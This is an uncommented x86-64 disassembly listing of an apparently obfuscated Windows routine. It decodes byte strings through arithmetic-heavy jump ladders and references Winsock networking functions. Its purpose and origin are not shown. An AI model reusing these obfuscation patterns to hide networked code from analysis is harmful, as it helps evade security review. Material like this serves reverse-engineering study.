add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x16
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2a85
lea edx, [rdi + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401c2ec6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c2aac
movzx ebx, dil
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1401c2e30
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c2ada
lea edx, [rdi - 0x5a]
mov ecx, 0x3b
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401c28b1
movzx ebx, dil
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x1401c2def
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2b2c
movzx ebx, dil
lea ecx, [rbx + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x1401c2def
inc rax
cmp r8, rax
jne 0x1401c2b57
lea ecx, [rdi + 0x69]
inc r9
movzx eax, cl
dec rdi
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2b7e
movzx ebx, dil
lea ecx, [rbx + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
jmp 0x1401c2e30
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c2ba4
lea ecx, [rdi + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
add r8, r9
jmp 0x1401c2e8a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c2bc7
lea ecx, [rdi - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
jmp 0x1401c2e8a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c2bea
lea ecx, [rdi + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
jmp 0x1401c2ec6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401c2c0d
lea ecx, [rdi + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x1401c2eec
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401c2866
lea ecx, [rdi - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
add r10b, 0x6f
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2c73
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x2c
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2c9b
lea edx, [rdi + 0x18]
mov ecx, 0x2c
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1401c2ec6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c2cc6
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx + 0xe]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x62
add r10b, dl
jmp 0x1401c2e30
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c2cf4
lea edx, [rdi + 0x60]
mov ecx, gethostbyaddr
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1401c23a3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c2827
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r11b
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1401c23a3
movzx ecx, byte [rsp + rdi + 0x77]
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x58]
and al, dl
sub cl, al
add cl, 0x34
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1401c2e30
lea edx, [rdi - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1401c2ec6
lea ecx, [rdi - 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
jmp 0x1401c2ec6
lea ecx, [rdi + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
jmp 0x1401c2e8a
lea ecx, [rdi + 0x53]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
inc rdi
jmp 0x1401c23a3
movzx ebx, dil
lea ecx, [rbx - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x37
jmp 0x1401c2def
movzx ebx, dil
lea ecx, [rbx + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
movzx eax, r11b
add bl, 0x7f
and al, bl
add al, al
sub r11b, al
sub r11b, 0x79
add r11b, bl
mov byte [rsp + rdi + 0x77], r11b
inc r9
dec rdi
inc rdi
jmp 0x1401c23a3
movzx ebx, dil
lea ecx, [rbx + 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
movzx eax, r11b
sub bl, 0x2f
and al, bl
add al, al
sub r11b, al
add r11b, 0x49
add r11b, r10b
add r11b, bl
mov byte [rsp + rdi + 0x77], r11b
add r8, r9
jmp 0x1401c2e8a
lea ecx, [rdi - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
add r8, r9
jmp 0x1401c2e8a
movzx eax, dl
movabs rcx, 0x398a4890f1a68571
add rcx, rdi
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x17
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401c23a3
movzx r11d, dl
movabs rcx, 0xf3dd54e2830fbd1f
add rcx, rdi
movzx r10d, r11b
and dl, cl
add dl, dl
sub r10b, dl
add r10b, 0x27
add r10b, cl
lea edx, [rdi + 0x23]
movzx eax, r11b
and al, dl
inc r9
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0xb
add cl, dl
movzx eax, cl
mov byte [rsp + rdi + 0x77], al
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x4c]
movzx eax, r11b
and al, cl
inc r8
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x14
add r11b, cl
mov byte [rsp + rdi + 0x77], r11b
add rdi, rax
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c23a3
movzx eax, dl
movabs rcx, 0x68836d85a5e22c7b
add rcx, rdi
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x5d
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c23a3
add dil, 0x4d
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x1b
xor edx, edx
jmp 0x1401c239e
sub dil, 5
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x23
xor edx, edx
jmp 0x1401c238f
lea r8, [rbp + 0x1674b03]
jmp 0x1401c2faf
lea r8, [rbp + 0x172af2c]
jmp 0x1401c2faf
lea r8, [rsp + 0x77]
mov rcx, qword [r14 + 0x68]
lea r9, [rbp - 0x50]
mov rdx, rsi
call fcn.1401c0f20
test al, al
je 0x1401c3c91
movzx r10d, byte [rbp + 0x10e0]
xor edi, edi
xor eax, eax
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x63], rax
mov dword [rbp - 0x5b], eax
mov byte [rbp - 0x57], al
mov dword [rbp - 0x72], 0x53786e4f
mov dword [rbp - 0x6e], 0x406d707c
mov dword [rbp - 0x6a], 0x60726162
mov word [rbp - 0x66], 0x7477
mov byte [rbp - 0x64], 8
mov rax, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rdi
movabs rcx, 0xdd8c724b7256e381
cmp rbx, 0x1c
jae 0x1401c3b34
movzx r11d, byte [rbp + rbx - 0x72]
mov r8, r11
cmp rax, rbx
ja 0x1401c3b2b
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1401c305e
lea rdx, [rbx + rcx]
movzx r10d, r8b
movzx ecx, r8b
and cl, dl
add cl, cl
sub r10b, cl
add r10b, 0x79
add r10b, dl
jmp 0x1401c30a0
je 0x1401c3ab8
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c3a31
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1401c39f9
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401c39df
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401c39bf
nop dword [rax + rax]
cmp r9, rbx
ja 0x1401c3b22
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jae 0x1401c30cb
lea r10d, [rbx - 0x6b]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x13
add r10b, r11b
jmp 0x1401c3100
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c397d
inc rcx
cmp rax, rcx
je 0x1401c395d
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c3943
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401c391b
nop
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1401c3643
nop dword [rax]
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1401c3626
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1401c3603
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1401c35e3
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1401c35c6
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1401c35a9
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1401c358f
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c3575
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1401c355b
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1401c3533
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1401c3110
lea rax, [r9 + 4]
lea r9, [rax + 0xa]
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1401c3b06
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1401c3aea
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1401c32ff
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1401c32e3
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1401c32c7
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1401c34e9
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1401c34a6
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1401c3464
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1401c3442
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1401c3110
lea rax, [r9 + 8]
lea r9, [rax + 0x28]
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1401c341a
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1401c3400
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1401c33e6
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x1401c33cc
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1401c33af
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1401c3392
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1401c3372
lea rdx, [r9 + 0x400]
cmp rax, rdx
ja 0x1401c3348
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1401c3325
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1401c3110
mov rax, rdx
lea r9, [rdx + 0x64]
jmp 0x1401c3110
lea r10d, [rbx + 0xb]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x4d
add r10b, r11b
jmp 0x1401c3100
lea r10d, [rbx + 9]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x3f
add r10b, r11b
jmp 0x1401c30a0
lea r10d, [rbx + 7]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movabs rcx, 0xdd8c724b7256e381
sub r10b, 0x31
add r10b, r11b
jmp 0x1401c302d
lea edx, [rbx - 0x58]
mov r10d, reloc.WS2_32.dll_gethostbyname
movzx ecx, dl
movzx edi, bl
and cl, r11b
sub r10b, cl
add r10b, r10b
add r10b, dl
add r10b, r11b
jmp 0x1401c3995
lea r8d, [rbx - 0x5a]
mov edx, 0x3b
movzx ecx, r8b
inc r9
and cl, r11b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1401c3013
lea edx, [rbx - 0x5c]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7c
inc rbx
jmp 0x1401c3013
lea edx, [rbx - 0x5e]
movzx edi, bl
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x6e
jmp 0x1401c38d6
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x60
add rax, r9
jmp 0x1401c3a18
lea edx, [rbx - 0x62]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x52
jmp 0x1401c3a18
lea edx, [rbx - 0x64]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x44
jmp 0x1401c3a54
lea edx, [rbx - 0x66]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x36
jmp 0x1401c3a77
lea edx, [rbx - 0x68]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x28
inc rbx
jmp 0x1401c3013
lea edx, [rbx + 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x7b
mov byte [rbp + rbx - 0x72], r10b
inc rbx
jmp 0x1401c3013
lea edx, [rbx + 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x77
cmp r9, 5
jb 0x1401c3457
mov r8d, 0x1b
movzx edi, bl
lea edx, [rdi + 0x66]
movzx ecx, dl
and cl, r11b
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
lea r10d, [r8 + r8]
jmp 0x1401c3995
lea edx, [rbx + 0xf]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x69
cmp rax, 2
jae 0x1401c38b7
lea rcx, [r9 + 8]
cmp rax, rcx
jbe 0x1401c3825
lea edx, [rbx + 0x52]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3e
jmp 0x1401c3479
lea edx, [rbx + 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x5b
lea rcx, [r9 + rax]
cmp rcx, 0x5a
je 0x1401c38fd
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jbe 0x1401c3739
lea edx, [rbx - 0x43]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x2b
jmp 0x1401c34bb
lea edx, [rbx + 0x7e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x72
inc rbx
jmp 0x1401c3013
lea edx, [rbx + 0x7c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x64
jmp 0x1401c3a77
lea edx, [rbx + 0x7a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x56
jmp 0x1401c3a54
lea edx, [rbx + 0x78]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x48
jmp 0x1401c3a18
lea edx, [rbx + 0x76]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3a
add rax, r9
jmp 0x1401c3a18
movzx edi, bl
lea edx, [rdi + 0x74]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x2c
jmp 0x1401c38d6
lea edx, [rbx + 0x72]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x1e
inc rbx
jmp 0x1401c3013
lea edx, [rbx + 0x70]
inc r9
movzx ecx, dl
dec rbx
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x10
inc rbx
jmp 0x1401c3013
movzx edi, bl
lea edx, [rdi + 0x6e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 2
jmp 0x1401c3995
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x1401c3666
lea edx, [rbx - 0x7f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x79
jmp 0x1401c34fe
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c3697
lea edx, [rbx + 0x2a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x26
inc rbx
jmp 0x1401c3013
inc rcx
cmp rax, rcx
jne 0x1401c36b9
lea edx, [rbx + 0x2e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x42
jmp 0x1401c3a54
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401c36df
lea edx, [rbx + 0x32]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x5e
add rax, r9
jmp 0x1401c3a18
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c3708
lea edx, [rbx + 0x36]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7a
inc rbx
jmp 0x1401c3013
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c34fe
mov edx, getservbyname
movzx edi, bl
lea r8d, [rdi + 0x3a]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1401c3995
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c375f
movzx edi, bl
lea edx, [rdi - 0x41]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x39
jmp 0x1401c3995
inc rcx
cmp rax, rcx
jne 0x1401c3784
movzx edi, bl
lea edx, [rdi - 0x3b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x63
jmp 0x1401c38d6
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c37aa
lea edx, [rbx - 0x39]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x71
add rax, r9
jmp 0x1401c3a18
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401c37cd
lea edx, [rbx - 0x37]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7f
jmp 0x1401c3a18
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401c37f0
lea edx, [rbx - 0x35]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x73
jmp 0x1401c3a54
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1401c34bb
lea edx, [rbx - 0x31]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
add r10b, 0x57
inc rbx
jmp 0x1401c3013
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c3856
lea edx, [rbx + 0x54]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x4c
inc rbx
jmp 0x1401c3013
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401c3883
lea r8d, [rbx + 0x5c]
mov edx, 0x3e
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
add rax, r9
jmp 0x1401c3a18
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c3479
lea r8d, [rbx + 0x60]
mov edx, gethostbyaddr
movzx ecx, r8b
dec rbx
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1401c3013
movzx edx, byte [rbp + rbx - 0x72]
movzx edi, bl
lea r8d, [rdi + 0x68]
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, 0x14
lea r10d, [rdx + rdx]
add r10b, r8b
sub dil, 0x17
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
sub dil, 0x5f
add dil, r11b
add dil, r10b
mov byte [rbp + rbx - 0x72], dil
add rax, r9
jmp 0x1401c3a18
lea r8d, [rbx + 0x6a]
mov edx, recvfrom
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
jmp 0x1401c3a54
lea edx, [rbx - 0x59]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
add r10b, 0x6f
inc rbx
jmp 0x1401c3013
lea edx, [rbx - 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x67
jmp 0x1401c3a18
lea edx, [rbx - 0x65]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3d
inc rbx
jmp 0x1401c3013
movzx edi, bl
lea edx, [rdi - 0x69]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x21
sub dil, 0x19
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
sub dil, 0x51
add dil, r11b
mov byte [rbp + rbx - 0x72], dil
inc r9
dec rbx
inc rbx
jmp 0x1401c3013
lea edx, [rbx - 0x71]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x17
dec rbx
inc rbx
jmp 0x1401c3013
lea edx, [rbx - 0x75]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x33
add rax, r9
jmp 0x1401c3a18
movabs rdx, 0xc9f004a7050dff89
add rdx, rbx
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r10d, [r8 + rdx]
add r10b, 0x41
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1401c3013
movabs rdx, 0xed7201020603887
movzx r11d, r8b
add rdx, rbx
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x4f
lea edx, [rbx - 0x15]
inc r9
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x6d
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx - 0x72], cl
add rcx, r9
sub rbx, rcx
lea r8d, [rbx + 0x6c]
inc rax
movzx ecx, r8b
mov edx, 6
and cl, r11b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x72], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1401c3013
movabs rdx, 0x98a556e25704aa83
add rdx, rbx
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r10d, [r8 + rdx]
add r10b, 0x6b
movzx ecx, byte [rbp + rbx - 0x72]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1401c3013
add bl, 5
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x23
xor edi, edi
jmp 0x1401c300e
add bl, 3
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x15
xor edi, edi
jmp 0x1401c3000
lea r8, [rbp + 0x160da3a]
jmp 0x1401c3b38
lea r8, [rbp + 0xb7bdbb]
jmp 0x1401c3b38
lea r8, [rbp - 0x72]
mov rcx, qword [r14 + 0x68]
lea r9, [rbp - 0x48]
mov rdx, rsi
call fcn.1401c0f20
test al, al
je 0x1401c3c91
mov rax, qword [rbp - 0x50]
xor edi, edi
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x40], rdi
mov dword [rbp - 0x1c], edi
mov rax, qword [r14 + 0x48]
mov qword [rbp - 0x28], rax
mov eax, dword [r14 + 0x70]
mov dword [rbp - 0x20], eax
mov eax, dword [r14 + 0x34]
add rax, qword [r14 + 0x40]
mov qword [rbp - 0x18], rax
cmp r12d, 1
jne 0x1401c3e7e
movzx eax, byte [0x1404e9d18]
mov byte [rbp + 0x10e0], al
movzx eax, byte [0x1404e9d19]
mov byte [rbp + 0x10e1], al
movzx eax, byte [0x1404e9d1a]
mov byte [rbp + 0x10e2], al
cmp dword [r14 + 0x74], r12d
jne 0x1401c3e17
xor edx, edx
mov dword [rbp + 0x2c], edi
mov r8d, 0x200
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x270], eax
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2d8], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0x278], rdi
mov qword [rbp + 0x280], rdi
mov qword [rbp + 0x290], rdi
mov qword [rbp + 0x2a8], rdi
mov word [rbp + 0x2b0], di
mov qword [rbp + 0x20], 0xaed0de
mov dword [rbp + 0x28], reloc.WS2_32.dll_send
mov dword [rbp + 0x274], r13d
mov dword [rbp + 0x288], 0x1000
movups xmmword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x2b8], xmm0
movups xmmword [rbp + 0x2c8], xmm0
test eax, eax
jne 0x1401c3cb1
mov qword [rbp - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov eax, 7
mov rbx, qword [rsp + 0x11e8]
add rsp, 0x11a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x20]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
